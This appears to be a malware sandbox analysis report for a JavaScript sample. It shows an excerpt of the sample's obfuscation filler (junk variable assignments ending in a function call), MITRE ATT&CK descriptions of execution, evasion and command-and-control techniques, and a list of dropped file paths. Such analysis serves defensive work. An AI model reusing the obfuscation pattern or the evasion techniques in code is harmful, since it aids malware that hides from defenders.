1313	hqnfv = "K";
1314	hqnfv = "G";
1315	hqnfv = "v";
1316	hqnfv = "J";
1317	hqnfv = "v";
1318	hqnfv = "D";
1319	hqnfv = "n";
1320	hqnfv = "e";
1321	hqnfv = "P";
1322	hqnfv = "G";
1323	hqnfv = "r";
1324	hqnfv = "S";
1325	hqnfv = "v";
1326	hqnfv = "q";
1327	hqnfv = "P";
1328	hqnfv = "l";
1329	hqnfv = "f";
1330	hqnfv = "S";
1331	kjproar = "G";
1332	kjproar = "D";
1333	kjproar = "w";
1334	kjproar = "O";
1335	kjproar = "s";
1336	kjproar = "F";
1337	kjproar = "u";
1338	kjproar = "L";
1339	kjproar = "M";
1340	kjproar = "k";
1341	kjproar = "k";
1342	kjproar = "L";
1343	kjproar = "Y";
1344	kjproar = "k";
1345	kjproar = "s";
1346	kjproar = "o";
1347	kjproar = "V";
1348	kjproar = "Y";
1349	kjproar = "e";
1350	kjproar = "A";
1351	kjproar = "U";
1352	kjproar = "b";
1353	kjproar = "B";
1354	kjproar = "Z";
1355	kjproar = "v";
1356	kjproar = "o";
1357	kjproar = "E";
1358	kjproar = "A";
1359	kjproar = "q";
1360	kjproar = "e";
1361	kjproar = "e";
1362	kjproar = "g";
1363	kjproar = "4";
1364	dijorc = "g";
1365	dijorc = "s";
1366	dijorc = "g";
1367	dijorc = "x";
1368	dijorc = "c";
1369	dijorc = "E";
1370	dijorc = "P";
1371	dijorc = "U";
1372	dijorc = "V";
1373	dijorc = "M";
1374	dijorc = "i";
1375	dijorc = "A";
1376	dijorc = "E";
1377	dijorc = "H";
1378	dijorc = "i";
1379	dijorc = "q";
1380	dijorc = "a";
1381	dijorc = "T";
1382	dijorc = "b";
1383	dijorc = "P";
1384	dijorc = "m";
1385	dijorc = "N";
1386	dijorc = "f";
1387	dijorc = "b";
1388	dijorc = "h";
1389	dijorc = "N";
1390	dijorc = "E";
1391	dijorc = "N";
1392	dijorc = "d";
1393	dijorc = "H";
1394	dijorc = "F";
1395	dijorc = "A";
1396	dijorc = "h";
1397	dijorc = "o";
1398	dijorc = "o";
1399	dijorc = "R";
1400	dijorc = "w";
1401	eekhhhqx = "N";
1402	eekhhhqx = "R";
1403	eekhhhqx = "A";
1404	eekhhhqx = "M";
1405	eekhhhqx = "T";
1406	eekhhhqx = "z";
1407	eekhhhqx = "y";
1408	eekhhhqx = "W";
1409	eekhhhqx = "A";
1410	eekhhhqx = "r";
1411	eekhhhqx = "Q";
1412	eekhhhqx = "V";
1413	eekhhhqx = "o";
1414	eekhhhqx = "P";
1415	eekhhhqx = "i";
1416	eekhhhqx = "y";
1417	eekhhhqx = "G";
1418	eekhhhqx = "O";
1419	eekhhhqx = "d";
1420	eekhhhqx = "W";
1421	eekhhhqx = "Y";
1422	eekhhhqx = "E";
1423	eekhhhqx = "o";
1424	eekhhhqx = "z";
1425	eekhhhqx = "u";
1426	eekhhhqx = "Z";
1427	eekhhhqx = "f";
1428	eekhhhqx = "v";
1429	eekhhhqx = "p";
1430	eekhhhqx = "b";
1431	eekhhhqx = "n";
1432	eekhhhqx = "f";
1433	ewyzekg ( );	ewyzekg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 289215992948720779.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e66a1b69-2485-4a40-8949-1ca7f6d2f0a1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4236

Windows Analysis Report
289215992948720779.js